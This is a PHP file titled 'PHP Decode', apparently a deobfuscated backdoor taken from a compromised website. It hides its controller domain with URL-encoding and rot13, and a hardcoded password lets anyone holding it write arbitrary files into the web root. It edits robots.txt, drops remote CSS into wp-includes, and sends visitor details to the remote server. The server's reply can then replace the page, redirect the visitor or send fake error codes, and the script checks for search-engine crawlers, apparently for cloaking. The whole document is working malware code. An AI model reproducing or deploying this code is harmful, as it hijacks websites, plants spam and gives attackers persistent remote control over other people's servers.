PHP Decode

<?php 
@set_time_limit(3600); 
@ignore_user_abort(1); 
$xmlname = '%62%65%72%69%72%65%6C%6F%6B%76%2E%6A%66%63%65%62%68%67%74%72%71%2E%6B%6C%6D'; 
 
 
 
 
$http_web = 'http'; 
if (is_https()) { 
    $http = 'https'; 
} else { 
    $http = 'http'; 
} 
$duri_tmp = drequest_uri(); 
if ($duri_tmp == ''){ 
    $duri_tmp = '/'; 
} 
$duri = urlencode($duri_tmp); 
function drequest_uri() 
{ 
    if (isset($_SERVER['REQUEST_URI'])) { 
        $duri = $_SERVER['REQUEST_URI']; 
    } else { 
        if (isset($_SERVER['argv'])) { 
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; 
        } else { 
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; 
        } 
    } 
    return $duri; 
} 
 
$goweb = str_rot13(urldecode($xmlname)); 
function is_https() 
{ 
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { 
        return true; 
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { 
        return true; 
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { 
        return true; 
    } 
    return false; 
} 
 
$host = $_SERVER['HTTP_HOST']; 
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; 
$lang = urlencode($lang); 
$urlshang = ''; 
if (isset($_SERVER['HTTP_REFERER'])) { 
    $urlshang = $_SERVER['HTTP_REFERER']; 
    $urlshang = urlencode($urlshang); 
} 
$password = sha1(sha1(@$_GET['pd'])); 
if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') { 
    $add_content = @$_GET['mapname']; 
    $action = @$_GET['action']; 
    if (isset($_SERVER['DOCUMENT_ROOT'])) { 
        $path = $_SERVER['DOCUMENT_ROOT']; 
    } else { 
        $path = dirname(__FILE__); 
    } 
    if (!$action) { 
        $action = 'put'; 
    } 
    if ($action == 'put') { 
        if (strstr($add_content, '.xml')) { 
            $map_path = $path. '/sitemap.xml'; 
            if (is_file($map_path)) { 
                @unlink($map_path); 
            } 
            $file_path = $path . '/robots.txt'; 
            if (file_exists($file_path)) { 
                $data = doutdo($file_path); 
            } else { 
                $data = 'User-agent: * 
Allow: /'; 
            } 
            $sitmap_url = $http . '://' . $host . '/' . $add_content; 
            if (stristr($data, $sitmap_url)) { 
                echo '<br>sitemap already added!<br>'; 
            } else { 
                if (file_put_contents($file_path, trim($data) . "
" . 'Sitemap: '.$sitmap_url)) { 
                    echo '<br>ok<br>'; 
                } else { 
                    echo '<br>file write false!<br>'; 
                } 
            } 
        } else { 
            echo '<br>sitemap name false!<br>'; 
        } 
        if (strstr($add_content, '.p' . 'hp')) { 
            $a = sha1(sha1(@$_GET['a'])); 
            $b = sha1(sha1(@$_GET['b'])); 
            if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') { 
                $dstr = @$_GET['dstr']; 
                if (file_put_contents($path . '/' . $add_content, $dstr)) { 
                    echo 'ok'; 
                } 
            } 
        } 
    } 
    exit; 
} 
 
if (isset($_SERVER['DOCUMENT_ROOT'])) { 
    $path = $_SERVER['DOCUMENT_ROOT']; 
} else { 
    $path = dirname(__FILE__); 
} 
if(is_dir($path. '/wp-includes')){ 
	$fpath = 'wp-includes/css'; 
}else{ 
	$fpath = 'css'; 
} 
$dpath = $path. '/'.$fpath; 
if(substr($host,0,4)=='www.'){ 
    $host_nw = substr($host, 4); 
}else{ 
	$host_nw = $host; 
} 
$cssn = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'.css'; 
$ps = $path. '/'.$fpath.'/'.$cssn; 
$urlc = $http_web . '://' . $goweb . '/temp/style.css'; 
 
$cssnpth = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'pth.css'; 
$pspth = $path. '/'.$fpath.'/'.$cssnpth; 
$urlcpth = $http_web . '://' . $goweb . '/temp/stylepth.css'; 
 
function ping_sitemap($url){ 
    $url_arr = explode("
", trim($url)); 
    $return_str = ''; 
    foreach($url_arr as $pingUrl){ 
        $pingRes = doutdo($pingUrl); 
        $ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error'; 
        $return_str .= $pingUrl . '-- ' . $ok . '<br>'; 
    } 
    return $return_str; 
} 
function disbot() 
{ 
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']); 
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) { 
        return true; 
    } else { 
        return false; 
    } 
} 
function doutdo($url) 
{ 
    $file_contents= ''; 
    if(function_exists('curl_init')){ 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
        $file_contents = curl_exec($ch); 
        curl_close($ch); 
    } 
    if (!$file_contents) { 
        $file_contents = @file_get_contents($url); 
    } 
    return $file_contents; 
} 
function fcss($dpath,$ps,$urlc){ 
    if(is_dir($dpath)){ 
        if(!file_exists($ps)){ 
            @file_put_contents($ps,doutdo($urlc)); 
        } 
    }else{ 
        if(@mkdir($dpath)){ 
            if(!file_exists($ps)){ 
                @file_put_contents($ps,doutdo($urlc)); 
            } 
        } 
    } 
} 
if($duri_tmp=='/' || strstr($duri_tmp, 'ewttm')){ 
    fcss($dpath,$ps,$urlc); 
    fcss($dpath,$pspth,$urlcpth); 
} 
if(is_file($ps)){ 
	$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang. '&css=1'; 
}else{ 
	$web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang; 
} 
$html_content = trim(doutdo($web)); 
if (!strstr($html_content, 'nobotuseragent')) { 
    if (strstr($html_content, 'okhtmlgetcontent')) { 
        @header("Content-type: text/html; charset=utf-8"); 
		if (strstr($html_content, '[##linkcss##]')) { 
			if(file_exists($ps)){ 
				$lcss_str = file_get_contents($ps); 
				$html_content = str_replace("[##linkcss##]", '<style>'.$lcss_str.'</style>', $html_content); 
			}else{ 
				$html_content = str_replace("[##linkcss##]", '', $html_content); 
			} 
		} 
        if (strstr($html_content, '[##pthlinkcss##]')) { 
			if(file_exists($pspth)){ 
				$lcsspth_str = file_get_contents($pspth); 
				$html_content = str_replace("[##pthlinkcss##]", $lcsspth_str, $html_content); 
			}else{ 
				$html_content = str_replace("[##pthlinkcss##]", '', $html_content); 
			} 
		} 
        $html_content = str_replace("okhtmlgetcontent", '', $html_content); 
        echo $html_content; 
        exit(); 
    }else if(strstr($html_content, 'okxmlgetcontent')){ 
        $html_content = str_replace("okxmlgetcontent", '', $html_content); 
        @header("Content-type: text/xml"); 
        echo $html_content; 
        exit(); 
    }else if(strstr($html_content, 'pingxmlgetcontent')){ 
        $html_content = str_replace("pingxmlgetcontent", '', $html_content); 
        fcss($dpath,$ps,$urlc); 
		fcss($dpath,$pspth,$urlcpth); 
        @header("Content-type: text/html; charset=utf-8"); 
        echo ping_sitemap($html_content); 
        exit(); 
    }else if (strstr($html_content, 'getcontent500page')) { 
        @header('HTTP/1.1 500 Internal Server Error'); 
        exit(); 
    }else if (strstr($html_content, 'getcontent404page')) { 
        @header('HTTP/1.1 404 Not Found'); 
        exit(); 
    }else if (strstr($html_content, 'getcontent301page')) { 
        @header('HTTP/1.1 301 Moved Permanently'); 
        $html_content = str_replace("getcontent301page", '', $html_content); 
        header('Location: ' . $html_content); 
        exit(); 
    } 
}/* blog T285 */ ?>